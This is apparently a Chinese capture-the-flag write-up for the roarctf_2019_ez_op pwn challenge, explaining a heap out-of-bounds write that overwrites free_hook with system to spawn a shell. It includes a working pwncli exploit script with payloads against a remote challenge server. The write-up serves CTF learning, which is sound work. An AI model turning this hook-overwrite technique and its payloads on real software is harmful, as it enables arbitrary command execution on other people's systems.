知识点

  1. 静态链接的free_hook
  2. 函数识别

分析

  • 首先通过start函数找到main函数
  • 有些函数识别出来或者错误,凭借经验可以恢复,例如read函数
  • 大概分析一下的到下图,程序首先读取操作,然后读取数据,然后开始处理数据
  • 处理函数时又申请了两个堆,第一个堆用于保存在另一个堆的写入位置,其结构如下,可以看作是一种栈结构。取出操作数进行操作。
DWORD heap_ptr
DWORD size
DWORD idx
  • 操作数等于269488144时,可以越界写,我们修改第一个堆的heap_ptr使其指向free_hook,并且将size域改为;sh

  • 然后再向free_hook写入system函数的地址,处理函数结束后会free掉堆块触发system函数

细节

  • 需要通过调试来了解堆块的分布
  • 注意写入的data的顺序

exp

#!/usr/bin/python3
from pwncli import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
#cli_script()

io=gift['io']=remote('node4.buuoj.cn',26115)
#io=gift['io']=process('./roarctf_2019_ez_op')
libc=gift['libc'] = ELF('./libc-2.27.so')

free_hook=0x80E09F0
success=0x8051C60

#opcode
sleep(0.1)
payload=b'10813 10813 269488144 10813 10813 269488144 10813 '
sl(payload)

#data
sleep(0.1)
payload=str(0x68733b)+' 70 '+str(free_hook)+' 69 '+str(success)
sl(payload)

ia()



追求现实的理想主义者。